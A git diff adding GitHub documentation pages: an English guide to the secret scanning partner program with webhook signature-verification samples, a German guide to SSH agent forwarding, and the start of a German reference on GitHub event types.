--- /dev/null
+++ b/translations/de-DE/content/developers/overview/secret-scanning-partner-program.md
@@ -0,0 +1,407 @@
+---
+title: Secret scanning partner program
+intro: 'As a service provider, you can partner with {% data variables.product.prodname_dotcom %} to have your secret token formats secured through secret scanning, which searches for accidental commits of your secret format and can be sent to a service provider''s verify endpoint.'
+miniTocMaxHeadingLevel: 3
+redirect_from:
+  - /partnerships/token-scanning
+  - /partnerships/secret-scanning
+  - /developers/overview/secret-scanning
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - API
+shortTitle: Secret scanning
+---
+
+{% data variables.product.prodname_dotcom %} scans repositories for known secret formats to prevent fraudulent use of credentials that were committed accidentally. {% data variables.product.prodname_secret_scanning_caps %} happens by default on public repositories, and can be enabled on private repositories by repository administrators or organization owners. As a service provider, you can partner with {% data variables.product.prodname_dotcom %} so that your secret formats are included in our {% data variables.product.prodname_secret_scanning %}.
+
+When a match of your secret format is found in a public repository, a payload is sent to an HTTP endpoint of your choice.
+
+When a match of your secret format is found in a private repository configured for {% data variables.product.prodname_secret_scanning %}, then repository admins and the committer are alerted and can view and manage the {% data variables.product.prodname_secret_scanning %} result on {% data variables.product.prodname_dotcom %}. For more information, see "[Managing alerts from {% data variables.product.prodname_secret_scanning %}](/github/administering-a-repository/managing-alerts-from-secret-scanning)."
+
+This article describes how you can partner with {% data variables.product.prodname_dotcom %} as a service provider and join the {% data variables.product.prodname_secret_scanning %} partner program.
+
+## The {% data variables.product.prodname_secret_scanning %} process
+
+#### How {% data variables.product.prodname_secret_scanning %} works in a public repository
+
+The following diagram summarizes the {% data variables.product.prodname_secret_scanning %} process for public repositories, with any matches sent to a service provider's verify endpoint.
+
+![Flow diagram showing the process of scanning for a secret and sending matches to a service provider's verify endpoint](/assets/images/secret-scanning-flow.png "{% data variables.product.prodname_secret_scanning_caps %} flow")
+
+## Joining the {% data variables.product.prodname_secret_scanning %} program on {% data variables.product.prodname_dotcom %}
+
+1. Contact {% data variables.product.prodname_dotcom %} to get the process started.
+1. Identify the relevant secrets you want to scan for and create regular expressions to capture them.
+1. For secret matches found in public repositories, create a secret alert service which accepts webhooks from {% data variables.product.prodname_dotcom %}  that contain the {% data variables.product.prodname_secret_scanning %} message payload.
+1. Implement signature verification in your secret alert service.
+1. Implement secret revocation and user notification in your secret alert service.
+1. Provide feedback for false positives (optional).
+
+### Contact {% data variables.product.prodname_dotcom %} to get the process started
+
+To get the enrollment process started, email <a href="mailto:secret-scanning@github.com">secret-scanning@github.com</a>.
+
+You will receive details on the {% data variables.product.prodname_secret_scanning %} program, and you will need to agree to {% data variables.product.prodname_dotcom %}'s terms of participation before proceeding.
+
+### Identify your secrets and create regular expressions
+
+To scan for your secrets, {% data variables.product.prodname_dotcom %} needs the following pieces of information for each secret that you want included in the {% data variables.product.prodname_secret_scanning %} program:
+
+* A unique, human readable name for the secret type. We'll use this to generate the `Type` value in the message payload later.
+* A regular expression which finds the secret type. Be as precise as possible, because this will reduce the number of false positives.
+* The URL of the endpoint that receives messages from {% data variables.product.prodname_dotcom %}. This does not have to be unique for each secret type.
+
+Send this information to <a href="mailto:secret-scanning@github.com">secret-scanning@github.com</a>.
+
+### Create a secret alert service
+
+Create a public, internet accessible HTTP endpoint at the URL you provided to us. When a match of your regular expression is found in a public repository, {% data variables.product.prodname_dotcom %} will send an HTTP `POST` message to your endpoint.
+
+#### Example request body
+
+```json
+[
+  {
+    "token":"NMIfyYncKcRALEXAMPLE",
+    "type":"mycompany_api_token",
+    "url":"https://github.com/octocat/Hello-World/blob/12345600b9cbe38a219f39a9941c9319b600c002/foo/bar.txt",
+    "source":"content"
+  }
+]
+```
+
+The message body is a JSON array that contains one or more objects, with each object representing a single secret match. Your endpoint should be able to handle requests with a large number of matches without timing out. The keys for each secret match are:
+
+* **token**: The value of the secret match.
+* **type**: The unique name you provided to identify your regular expression.
+* **url**: The public URL where the match was found (may be empty)
+* **source**: Where the token was found on {% data variables.product.prodname_dotcom %}.
+
+The list of valid values for `source` are:
+
+* content
+* commit
+* pull_request_description
+* pull_request_comment
+* issue_description
+* issue_comment
+* discussion_body
+* discussion_comment
+* commit_comment
+* gist_content
+* gist_comment
+* unknown
+
+### Implement signature verification in your secret alert service
+
+The HTTP request to your service will also contain headers that we strongly recommend using
+to validate the messages you receive are genuinely from {% data variables.product.prodname_dotcom %}, and are not malicious.
+
+The two HTTP headers to look for are:
+
+* `GITHUB-PUBLIC-KEY-IDENTIFIER`: Which `key_identifier` to use from our API
+* `GITHUB-PUBLIC-KEY-SIGNATURE`: Signature of the payload
+
+You can retrieve the {% data variables.product.prodname_dotcom %} secret scanning public key from https://api.github.com/meta/public_keys/secret_scanning and validate the message using the `ECDSA-NIST-P256V1-SHA256` algorithm. The endpoint
+will provide several `key_identifier` and public keys. You can determine which public
+key to use based on the value of `GITHUB-PUBLIC-KEY-IDENTIFIER`.
+
+{% note %}
+
+**Note**: When you send a request to the public key endpoint above, you may hit rate limits. To avoid hitting rate limits, you can use a {% data variables.product.pat_v1 %} (no scopes required){% ifversion pat-v2 %} or a {% data variables.product.pat_v2 %} (only the automatic public repositories read access required){% endif %} as suggested in the samples below, or use a conditional request. For more information, see "[Getting started with the REST API](/rest/guides/getting-started-with-the-rest-api#conditional-requests)."
+
+{% endnote %}
+
+{% note %}
+
+**Note**: The signature was generated using the raw message body. So it's important you also use the raw message body for signature validation, instead of parsing and stringifying the JSON, to avoid rearranging the message or changing spacing.
+
+{% endnote %}
+
+**Sample HTTP POST sent to verify endpoint**
+
+```http
+POST / HTTP/2
+Host: HOST
+Accept: */*
+content-type: application/json
+GITHUB-PUBLIC-KEY-IDENTIFIER: f9525bf080f75b3506ca1ead061add62b8633a346606dc5fe544e29231c6ee0d
+GITHUB-PUBLIC-KEY-SIGNATURE: MEUCIFLZzeK++IhS+y276SRk2Pe5LfDrfvTXu6iwKKcFGCrvAiEAhHN2kDOhy2I6eGkOFmxNkOJ+L2y8oQ9A2T9GGJo6WJY=
+Content-Length: 83
+
+[{"token":"some_token","type":"some_type","url":"some_url","source":"some_source"}]
+```
+
+{% note %}
+
+**Note**: The key id and signature from the example payload is derived from a test key.
+The public key for them is:
+
+```
+-----BEGIN PUBLIC KEY-----
+MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEsz9ugWDj5jK5ELBK42ynytbo38gP
+HzZFI03Exwz8Lh/tCfL3YxwMdLjB+bMznsanlhK0RwcGP3IDb34kQDIo3Q==
+-----END PUBLIC KEY-----
+```
+
+{% endnote %}
+
+The following code snippets demonstrate how you could perform signature validation.
+The code examples assume you've set an environment variable called `GITHUB_PRODUCTION_TOKEN` with a generated [{% data variables.product.pat_generic %}](https://github.com/settings/tokens) to avoid hitting rate limits. The {% data variables.product.pat_generic %} does not need any scopes/permissions.
+
+**Validation sample in Go**
+```golang
+package main
+
+import (
+  "crypto/ecdsa"
+  "crypto/sha256"
+  "crypto/x509"
+  "encoding/asn1"
+  "encoding/base64"
+  "encoding/json"
+  "encoding/pem"
+  "errors"
+  "fmt"
+  "math/big"
+  "net/http"
+  "os"
+)
+
+func main() {
+  payload := `[{"token":"some_token","type":"some_type","url":"some_url","source":"some_source"}]`
+
+  kID := "f9525bf080f75b3506ca1ead061add62b8633a346606dc5fe544e29231c6ee0d"
+
+  kSig := "MEUCIFLZzeK++IhS+y276SRk2Pe5LfDrfvTXu6iwKKcFGCrvAiEAhHN2kDOhy2I6eGkOFmxNkOJ+L2y8oQ9A2T9GGJo6WJY="
+
+  // Fetch the list of GitHub Public Keys
+  req, err := http.NewRequest("GET", "https://api.github.com/meta/public_keys/secret_scanning", nil)
+  if err != nil {
+    fmt.Printf("Error preparing request: %s\n", err)
+    os.Exit(1)
+  }
+
+  if len(os.Getenv("GITHUB_PRODUCTION_TOKEN")) == 0 {
+    fmt.Println("Need to define environment variable GITHUB_PRODUCTION_TOKEN")
+    os.Exit(1)
+  }
+
+  req.Header.Add("Authorization", "Bearer "+os.Getenv("GITHUB_PRODUCTION_TOKEN"))
+
+  resp, err := http.DefaultClient.Do(req)
+  if err != nil {
+    fmt.Printf("Error requesting GitHub signing keys: %s\n", err)
+    os.Exit(2)
+  }
+
+  decoder := json.NewDecoder(resp.Body)
+  var keys GitHubSigningKeys
+  if err := decoder.Decode(&keys); err != nil {
+    fmt.Printf("Error decoding GitHub signing key request: %s\n", err)
+    os.Exit(3)
+  }
+
+  // Find the Key used to sign our webhook
+  pubKey, err := func() (string, error) {
+    for _, v := range keys.PublicKeys {
+      if v.KeyIdentifier == kID {
+        return v.Key, nil
+
+      }
+    }
+    return "", errors.New("specified key was not found in GitHub key list")
+  }()
+
+  if err != nil {
+    fmt.Printf("Error finding GitHub signing key: %s\n", err)
+    os.Exit(4)
+  }
+
+  // Decode the Public Key
+  block, _ := pem.Decode([]byte(pubKey))
+  if block == nil {
+    fmt.Println("Error parsing PEM block with GitHub public key")
+    os.Exit(5)
+  }
+
+  // Create our ECDSA Public Key
+  key, err := x509.ParsePKIXPublicKey(block.Bytes)
+  if err != nil {
+    fmt.Printf("Error parsing DER encoded public key: %s\n", err)
+    os.Exit(6)
+  }
+
+  // Because of documentation, we know it's a *ecdsa.PublicKey
+  ecdsaKey, ok := key.(*ecdsa.PublicKey)
+  if !ok {
+    fmt.Println("GitHub key was not ECDSA, what are they doing?!")
+    os.Exit(7)
+  }
+
+  // Parse the Webhook Signature
+  parsedSig := asn1Signature{}
+  asnSig, err := base64.StdEncoding.DecodeString(kSig)
+  if err != nil {
+    fmt.Printf("unable to base64 decode signature: %s\n", err)
+    os.Exit(8)
+  }
+  rest, err := asn1.Unmarshal(asnSig, &parsedSig)
+  if err != nil || len(rest) != 0 {
+    fmt.Printf("Error unmarshalling asn.1 signature: %s\n", err)
+    os.Exit(9)
+  }
+
+  // Verify the SHA256 encoded payload against the signature with GitHub's Key
+  digest := sha256.Sum256([]byte(payload))
+  keyOk := ecdsa.Verify(ecdsaKey, digest[:], parsedSig.R, parsedSig.S)
+
+  if keyOk {
+    fmt.Println("THE PAYLOAD IS GOOD!!")
+  } else {
+    fmt.Println("the payload is invalid :(")
+    os.Exit(10)
+  }
+}
+
+type GitHubSigningKeys struct {
+  PublicKeys []struct {
+    KeyIdentifier string `json:"key_identifier"`
+    Key           string `json:"key"`
+    IsCurrent     bool   `json:"is_current"`
+  } `json:"public_keys"`
+}
+
+// asn1Signature is a struct for ASN.1 serializing/parsing signatures.
+type asn1Signature struct {
+  R *big.Int
+  S *big.Int
+}
+```
+
+**Validation sample in Ruby**
+```ruby
+require 'openssl'
+require 'net/http'
+require 'uri'
+require 'json'
+require 'base64'
+
+payload = <<-EOL
+[{"token":"some_token","type":"some_type","url":"some_url","source":"some_source"}]
+EOL
+
+payload = payload
+
+signature = "MEUCIFLZzeK++IhS+y276SRk2Pe5LfDrfvTXu6iwKKcFGCrvAiEAhHN2kDOhy2I6eGkOFmxNkOJ+L2y8oQ9A2T9GGJo6WJY="
+
+key_id = "f9525bf080f75b3506ca1ead061add62b8633a346606dc5fe544e29231c6ee0d"
+
+url = URI.parse('https://api.github.com/meta/public_keys/secret_scanning')
+
+raise "Need to define GITHUB_PRODUCTION_TOKEN environment variable" unless ENV['GITHUB_PRODUCTION_TOKEN']
+request = Net::HTTP::Get.new(url.path)
+request['Authorization'] = "Bearer #{ENV['GITHUB_PRODUCTION_TOKEN']}"
+
+http = Net::HTTP.new(url.host, url.port)
+http.use_ssl = (url.scheme == "https")
+
+response = http.request(request)
+
+parsed_response = JSON.parse(response.body)
+
+current_key_object = parsed_response["public_keys"].find { |key| key["key_identifier"] == key_id }
+
+current_key = current_key_object["key"]
+
+openssl_key = OpenSSL::PKey::EC.new(current_key)
+
+puts openssl_key.verify(OpenSSL::Digest::SHA256.new, Base64.decode64(signature), payload.chomp)
+```
+
+**Validation sample in JavaScript**
+```js
+const crypto = require("crypto");
+const axios = require("axios");
+
+const GITHUB_KEYS_URI = "https://api.github.com/meta/public_keys/secret_scanning";
+
+/**
+ * Verify a payload and signature against a public key
+ * @param {String} payload the value to verify
+ * @param {String} signature the expected value
+ * @param {String} keyID the id of the key used to generated the signature
+ * @return {void} throws if the signature is invalid
+ */
+const verify_signature = async (payload, signature, keyID) => {
+  if (typeof payload !== "string" || payload.length === 0) {
+    throw new Error("Invalid payload");
+  }
+  if (typeof signature !== "string" || signature.length === 0) {
+    throw new Error("Invalid signature");
+  }
+  if (typeof keyID !== "string" || keyID.length === 0) {
+    throw new Error("Invalid keyID");
+  }
+
+  const keys = (await axios.get(GITHUB_KEYS_URI)).data;
+  if (!(keys?.public_keys instanceof Array) || keys.length === 0) {
+    throw new Error("No public keys found");
+  }
+
+  const publicKey = keys.public_keys.find((k) => k.key_identifier === keyID) ?? null;
+  if (publicKey === null) {
+    throw new Error("No public key found matching key identifier");
+  }
+
+  const verify = crypto.createVerify("SHA256").update(payload);
+  if (!verify.verify(publicKey.key, Buffer.from(signature, "base64"), "base64")) {
+    throw new Error("Signature does not match payload");
+  }
+};
+```
+
+### Implement secret revocation and user notification in your secret alert service
+
+For {% data variables.product.prodname_secret_scanning %} in public repositories, you can enhance your secret alert service to revoke the exposed secrets and notify the affected users. How you implement this in your secret alert service is up to you, but we recommend considering any secrets that {% data variables.product.prodname_dotcom %} sends you messages about as public and compromised.
+
+### Provide feedback for false positives
+
+We collect feedback on the validity of the detected individual secrets in partner responses. If you wish to take part, email us at <a href="mailto:secret-scanning@github.com">secret-scanning@github.com</a>.
+
+When we report secrets to you, we send a JSON array with each element containing the token, type identifier, and commit URL. When you send us feedback, you send us information about whether the detected token was a real or false credential. We accept feedback in the following formats.
+
+You can send us the raw token:
+
+```
+[
+  {
+    "token_raw": "The raw token",
+    "token_type": "ACompany_API_token",
+    "label": "true_positive"
+  }
+]
+```
+You may also provide the token in hashed form after performing a one way cryptographic hash of the raw token using SHA-256:
+
+```
+[
+  {
+    "token_hash": "The SHA-256 hashed form of the raw token",
+    "token_type": "ACompany_API_token",
+    "label": "false_positive"
+  }
+]
+```
+A few important points:
+- You should only send us either the raw form of the token ("token_raw"), or the hashed form ("token_hash"), but not both.
+- For the hashed form of the raw token, you can only use SHA-256 to hash the token, not any other hashing algorithm.
+- The label indicates whether the token is a true ("true_positive") or a false positive ("false_positive"). Only these two lowercased literal strings are allowed.
+
+{% note %}
+
+**Note:** Our request timeout is set to be higher (that is, 30 seconds) for partners who provide data about false positives. If you require a timeout higher than 30 seconds, email us at <a href="mailto:secret-scanning@github.com">secret-scanning@github.com</a>.
+
+{% endnote %}
diff --git a/translations/de-DE/content/developers/overview/using-ssh-agent-forwarding.md b/translations/de-DE/content/developers/overview/using-ssh-agent-forwarding.md
new file mode 100644
index 0000000000..f8ce4a69fd
--- /dev/null
+++ b/translations/de-DE/content/developers/overview/using-ssh-agent-forwarding.md
@@ -0,0 +1,169 @@
+---
+title: Konfigurieren der SSH-Agent-Weiterleitung
+intro: 'Um die Bereitstellung auf einem Server zu vereinfachen, kannst du die SSH-Agent-Weiterleitung weiterleiten, um lokale SSH-Schlüssel sicher zu verwenden.'
+redirect_from:
+  - /guides/using-ssh-agent-forwarding
+  - /v3/guides/using-ssh-agent-forwarding
+  - /articles/using-ssh-agent-forwarding
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+shortTitle: SSH agent forwarding
+ms.openlocfilehash: ca827e1fc70288acc2da5c3a28ecfd71ece4a504
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145996257'
+---
+Mithilfe der SSH-Agent-Weiterleitung kann die Bereitstellung auf einem Server vereinfacht werden.  Sie ermöglicht es dir, deine lokalen SSH-Schlüssel zu verwenden, anstatt Schlüssel (ohne Passphrasen!) auf deinem Server zu belassen.
+
+Wenn du bereits einen SSH-Schlüssel für die Interaktion mit {% data variables.product.product_name %} eingerichtet hast, kennst du dich wahrscheinlich mit `ssh-agent` aus. Dieses Programm wird im Hintergrund ausgeführt und sorgt dafür, dass dein Schlüssel im Arbeitsspeicher geladen bleibt. Auf diese Weise musst du deine Passphrase bei Verwendung des Schlüssels nicht jedes Mal erneut eingeben. Besonders nützlich an dem Programm ist, dass du Servern wahlweise Zugriff auf deine lokale `ssh-agent`-Instanz erteilen kannst, als würde die Instanz bereits auf dem Server ausgeführt wurden. Dies ist so, als würdest du jemanden bitten, seinen oder ihren Computer mit seinem oder ihrem Kennwort zu entsperren.
+
+Eine ausführlichere Erläuterung der SSH-Agent-Weiterleitung findest du in dem [Leitfaden mit IT-Tipps von Steve Friedl][tech-tips].
+
+## Einrichten der SSH-Agent-Weiterleitung
+
+Stelle sicher, dass dein eigener SSH-Schlüssel eingerichtet ist und funktioniert. Falls du noch keine SSH-Schlüssel generiert hast, kannst du dies mithilfe [unseres Leitfadens][generating-keys] nachholen.
+
+Du kannst die Funktionsfähigkeit deines lokalen Schlüssels testen, indem du `ssh -T git@{% ifversion ghes or ghae %}hostname{% else %}github.com{% endif %}` in das Terminal eingibst:
+
+```shell
+$ ssh -T git@{% ifversion ghes or ghae %}hostname{% else %}github.com{% endif %}
+# Attempt to SSH in to github
+> Hi <em>username</em>! You've successfully authenticated, but GitHub does not provide
+> shell access.
+```
+
+Das ist ein guter Ausgangspunkt. Nun werden wir SSH einrichten, um die Agent-Weiterleitung an deinen Server zu ermöglichen.
+
+1. Öffne die Datei in `~/.ssh/config` mithilfe deines bevorzugten Text-Editors. Wenn diese Datei nicht vorhanden ist, kannst du sie durch Eingabe von `touch ~/.ssh/config` im Terminal erstellen.
+
+2. Gib den folgenden Text in die Datei ein, indem du `example.com` durch den Domänennamen oder die IP-Adresse deines Servers ersetzt:
+
+        Host example.com
+          ForwardAgent yes
+
+{% warning %}
+
+**Warnung:** Möglicherweise planst du, einen Platzhalter wie `Host *` zu verwenden, um diese Einstellung auf alle SSH-Verbindungen anzuwenden. Das ist jedoch nicht empfehlenswert, da du deine lokalen SSH-Schlüssel an *jeden* Server weitergeben würdest, zu dem du eine SSH-Verbindung herstellst. Diese Server hätten zwar keinen direkten Zugriff auf die Schlüssel, könnten diese jedoch verwenden, um sich *als du* auszugeben, während die Verbindung besteht. **Du solltest nur Server hinzufügen, denen du vertraust und die du mit der Agent-Weiterleitung verwenden möchtest.**
+
+{% endwarning %}
+
+## Testen der SSH-Agent-Weiterleitung
+
+Um die Funktionsfähigkeit der Agent-Weiterleitung mit deinem Server zu testen, kannst du eine SSH-Verbindung zu deinem Server herstellen und `ssh -T git@{% ifversion ghes or ghae %}hostname{% else %}github.com{% endif %}` erneut ausführen.  Wenn alles gut funktioniert, erhältst du die gleiche Aufforderung, die du auch lokal erhalten hast.
+
+Wenn du nicht sicher bist, ob dein lokaler Schlüssel verwendet wird, kannst du auch die Variable `SSH_AUTH_SOCK` auf deinem Server überprüfen:
+
+```shell
+$ echo "$SSH_AUTH_SOCK"
+# Print out the SSH_AUTH_SOCK variable
+> /tmp/ssh-4hNGMk8AZX/agent.79453
+```
+
+Wenn die Variable nicht festgelegt ist, bedeutet dies, dass die Agent-Weiterleitung nicht funktioniert:
+
+```shell
+$ echo "$SSH_AUTH_SOCK"
+# Print out the SSH_AUTH_SOCK variable
+> <em>[No output]</em>
+$ ssh -T git@{% ifversion ghes or ghae %}hostname{% else %}github.com{% endif %}
+# Try to SSH to github
+> Permission denied (publickey).
+```
+
+## Problembehandlung der SSH-Agent-Weiterleitung
+
+Dieser Abschnitt erhält einige Hinweise, auf die du bei der Problembehandlung der SSH-Agent-Weiterleitung achten kannst.
+
+### Auschecken von Code musst du eine SSH-URL verwenden
+
+Die SSH-Weiterleitung funktioniert nur mit SSH-URLs, nicht HTTP(s)-URLs. Überprüfe die Datei `.git/config` auf deinem Server, und stelle sicher, dass die URL ein SSH-Format wie das folgende aufweist:
+
+```shell
+[remote "origin"]
+  url = git@{% ifversion ghes or ghae %}hostname{% else %}github.com{% endif %}:<em>yourAccount</em>/<em>yourProject</em>.git
+  fetch = +refs/heads/*:refs/remotes/origin/*
+```
+
+### Deine SSH-Schlüssel müssen lokal funktionieren
+
+Bevor deine Schlüssel mit der Agent-Weiterleitung verwendet werden können, müssen sie zunächst lokal funktionieren. [Unser Leitfaden zum Generieren von SSH-Schlüsseln][generating-keys] kann dir helfen, deine SSH-Schlüssel lokal einzurichten.
+
+### Dein System muss die SSH-Agent-Weiterleitung zulassen
+
+In manchen Fällen lassen Systemkonfigurationen die SSH-Agent-Weiterleitung nicht zu. Indem du den folgenden Befehl im Terminal eingibst, kannst du überprüfen, ob eine Systemkonfigurationsdatei verwendet wird:
+
+```shell
+$ ssh -v <em>example.com</em>
+# Connect to example.com with verbose debug output
+> OpenSSH_8.1p1, LibreSSL 2.7.3</span>
+> debug1: Reading configuration data /Users/<em>you</em>/.ssh/config
+> debug1: Applying options for example.com
+> debug1: Reading configuration data /etc/ssh_config
+> debug1: Applying options for *
+$ exit
+# Returns to your local command prompt
+```
+
+Im obigen Beispiel wird die Datei `~/.ssh/config` zuerst geladen, und dann wird `/etc/ssh_config` gelesen.  Wir können der folgenden Befehle überprüfen, ob diese Datei unsere Optionen überschreibt:
+
+```shell
+$ cat /etc/ssh_config
+# Print out the /etc/ssh_config file
+> Host *
+>   SendEnv LANG LC_*
+>   ForwardAgent no
+```
+
+In diesem Beispiel enthält die Datei `/etc/ssh_config` explizit die Angabe `ForwardAgent no`. Hierbei handelt es sich um eine Möglichkeit ist, die Agent-Weiterleitung zu blockieren. Wenn du diese Zeile aus der Datei löschst, sollte die Agent-Weiterleitung wieder funktionieren.
+
+### Dein Server muss die SSH-Agent-Weiterleitung für eingehende Verbindungen zulassen
+
+Die Agent-Weiterleitung kann auch auf deinem Server blockiert werden. Du kannst überprüfen, ob die Agent-Weiterleitung zulässig ist, indem du eine SSH-Verbindung zum Server herstellst und `sshd_config` ausführst. Die Ausgabe dieses Befehls sollte angeben, dass `AllowAgentForwarding` festgelegt ist.
+
+### Deine lokale `ssh-agent`-Instanz muss ausgeführt werden
+
+Unter den meisten Computern startet das Betriebssystem `ssh-agent` automatisch für dich.  Unter Windows musst du den Start jedoch manuell ausführen. Wir haben einen [Leitfaden zum Starten von `ssh-agent` beim Öffnen von Git Bash][autolaunch-ssh-agent] verfasst.
+
+Um zu überprüfen, ob `ssh-agent` auf deinem Computer ausgeführt wird, gib den folgenden Befehl in das Terminal ein:
+
+```shell
+$ echo "$SSH_AUTH_SOCK"
+# Print out the SSH_AUTH_SOCK variable
+> /tmp/launch-kNSlgU/Listeners
+```
+
+### Dein Schlüssel muss für `ssh-agent` verfügbar sein.
+
+Du kannst überprüfen, ob der Schlüssel für `ssh-agent` sichtbar ist, indem du den folgenden Befehl ausführst:
+
+```shell
+ssh-add -L
+```
+
+Wenn der Befehl angibt, dass keine Identität verfügbar ist, musst du deinen Schlüssel hinzufügen:
+
+```shell
+$ ssh-add <em>yourkey</em>
+```
+
+{% tip %}
+
+Unter macOS „vergisst“ `ssh-agent` diesen Schlüssel, sobald das Programm durch einen Neustart neu gestartet wird. Du kannst deine SSH-Schlüssel jedoch mithilfe des folgenden Befehls in Keychain importieren:
+
+```shell
+$ ssh-add -K <em>yourkey</em>
+```
+
+{% endtip %}
+
+[tech-tips]: http://www.unixwiz.net/techtips/ssh-agent-forwarding.html
+[generating-keys]: /articles/generating-ssh-keys
+[ssh-passphrases]: /ssh-key-passphrases/
+[autolaunch-ssh-agent]: /github/authenticating-to-github/working-with-ssh-key-passphrases#auto-launching-ssh-agent-on-git-for-windows
diff --git a/translations/de-DE/content/developers/webhooks-and-events/events/github-event-types.md b/translations/de-DE/content/developers/webhooks-and-events/events/github-event-types.md
new file mode 100644
index 0000000000..e0e16e80e4
--- /dev/null
+++ b/translations/de-DE/content/developers/webhooks-and-events/events/github-event-types.md
@@ -0,0 +1,281 @@
+---
+title: GitHub-Ereignistypen
+intro: 'Erfahre für die Ereignis-API von {% data variables.product.prodname_dotcom %} mehr über die einzelnen Ereignistypen, die auslösende Aktion für {% data variables.product.prodname_dotcom %} und die besonderen Eigenschaften jedes Ereignisses.'
+redirect_from:
+  - /v3/activity/event_types
+  - /developers/webhooks-and-events/github-event-types
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Events
+ms.openlocfilehash: 0cd519f6dcf84fc5edd6356f1f734d23030a6711
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '146064243'
+---
+Die Ereignis-API kann verschiedene Typen von Ereignissen zurückgeben, die durch Aktivität auf GitHub ausgelöst werden. Die Ereignisantworten enthalten gemeinsame Eigenschaften, weisen jedoch ein eindeutiges `payload`-Objekt auf, das vom Ereignistyp bestimmt wird. Unter [Gemeinsame Eigenschaften von Ereignisobjekten](#event-object-common-properties) sind die Eigenschaften beschrieben, die alle Ereignisse aufweisen. Außerdem beschreibt jeder Ereignistyp die eindeutigen `payload`-Eigenschaften des jeweiligen Ereignisses.
+
+{% ifversion fpt or ghec %}
+
+{% endif %}
+
+## Gemeinsame Eigenschaften von Ereignisobjekten
+
+Die von den Ereignis-API-Endpunkten zurückgegebenen Ereignisobjekte weisen dieselbe Struktur auf.
+
+| Name des Ereignis-API-Attributs | BESCHREIBUNG |
+|--------------------------|-------------|
+| `id` | Eindeutiger Bezeichner für das Ereignis. |
+| `type` | Art des Ereignisses. Ereignisse verwenden PascalCase für den Namen. |
+| `actor` | Die*Der Benutzer*in, die*der das Ereignis ausgelöst hat. |
+| `actor.id` | Der eindeutige Bezeichner für den Akteur. |
+| `actor.login` | Der Benutzername des Akteurs. |
+| `actor.display_login` | Das spezifische Anzeigeformat des Benutzernamens. |
+| `actor.gravatar_id` | Der eindeutige Bezeichner des Gravatar-Profils für den Akteur. |
+| `actor.url` | Die REST-API-URL, die zum Abrufen des Benutzerobjekts verwendet wird (einschließlich zusätzlicher Benutzerinformationen). |
+| `actor.avatar_url` | Die URL des Profilbilds des Akteurs. |
+| `repo` | Das Repositoryobjekt, in dem das Ereignis aufgetreten ist.  |
+| `repo.id` | Der eindeutige Bezeichner des Repositorys. |
+| `repo.name` | Der Name des Repositorys, das den Besitzer- und Repositorynamen enthält. Beispiel: `octocat/hello-world` ist der Name des `hello-world`-Repositorys, das sich im Besitz des persönlichen `octocat`-Kontos befindet. |
+| `repo.url` | Die REST-API-URL, die zum Abrufen des Repositoryobjekts verwendet wird (einschließlich zusätzlicher Repositoryinformationen). |
+| `payload` | Das Ereignisnutzlastobjekt ist für den Ereignistyp eindeutig. Der nachfolgende Ereignistyp bezieht sich auf das Ereignis-API-Objekt `payload`. |
+| `public` | Ob das Ereignis für alle Benutzer sichtbar ist. |
+| `created_at` | Datum und Uhrzeit der Auslösung des Ereignisses. Formatierung gemäß ISO 8601. |
+| `org` | Die vom Akteur gewählte Organisation, die die Aktion durchführt, die das Ereignis auslöst.<br />_Die Eigenschaft wird nur dann im Ereignisobjekt angezeigt, wenn sie zutrifft._ |
+| `org.id` | Der eindeutige Bezeichner der Organisation. |
+| `org.login` | Der Name der Organisation. |
+| `org.gravatar_id` | Der eindeutige Bezeichner des Gravatar-Profils der Organisation. |
+| `org.url` | Die REST-API-URL zum Abrufen des Organisationsobjekts (einschließlich zusätzlicher Organisationsinformationen). |
+| `org.avatar_url` | Die URL des Profilbilds der Organisation. |
+
+### Beispiel für ein WatchEvent-Ereignisobjekt
+
+Dieses Beispiel zeigt das Format der [WatchEvent](#watchevent)-Antwort bei Verwendung der [Ereignis-API](/rest/reference/activity#events).
+
+```
+HTTP/2 200
+Link: <https://api.github.com/resource?page=2>; rel="next",
+      <https://api.github.com/resource?page=5>; rel="last"
+```
+```json
+[
+  {
+    "type": "WatchEvent",
+    "public": false,
+    "payload": {
+    },
+    "repo": {
+      "id": 3,
+      "name": "octocat/Hello-World",
+      "url": "https://api.github.com/repos/octocat/Hello-World"
+    },
+    "actor": {
+      "id": 1,
+      "login": "octocat",
+      "gravatar_id": "",
+      "avatar_url": "https://github.com/images/error/octocat_happy.gif",
+      "url": "https://api.github.com/users/octocat"
+    },
+    "org": {
+      "id": 1,
+      "login": "github",
+      "gravatar_id": "",
+      "url": "https://api.github.com/orgs/github",
+      "avatar_url": "https://github.com/images/error/octocat_happy.gif"
+    },
+    "created_at": "2011-09-06T17:26:27Z",
+    "id": "12345"
+  }
+]
+```
+
+## CommitCommentEvent
+
+{% data reusables.webhooks.commit_comment_short_desc %}
+
+{% data reusables.webhooks.events_api_payload %}
+
+### `payload`-Ereignisobjekt
+
+{% data reusables.webhooks.commit_comment_properties %}
+
+## CreateEvent
+
+{% data reusables.webhooks.create_short_desc %}
+
+{% data reusables.webhooks.events_api_payload %}
+
+### `payload`-Ereignisobjekt
+
+{% data reusables.webhooks.create_properties %}
+
+## DeleteEvent
+
+{% data reusables.webhooks.delete_short_desc %}
+
+{% data reusables.webhooks.events_api_payload %}
+
+### `payload`-Ereignisobjekt
+
+{% data reusables.webhooks.delete_properties %}
+
+## ForkEvent
+
+{% data reusables.webhooks.fork_short_desc %}
+
+{% data reusables.webhooks.events_api_payload %}
+
+### `payload`-Ereignisobjekt
+
+{% data reusables.webhooks.fork_properties %}
+
+## GollumEvent
+
+{% data reusables.webhooks.gollum_short_desc %}
+
+{% data reusables.webhooks.events_api_payload %}
+
+### `payload`-Ereignisobjekt
+
+{% data reusables.webhooks.gollum_properties %}
+
+## IssueCommentEvent
+
+{% data reusables.webhooks.issue_comment_short_desc %}
+
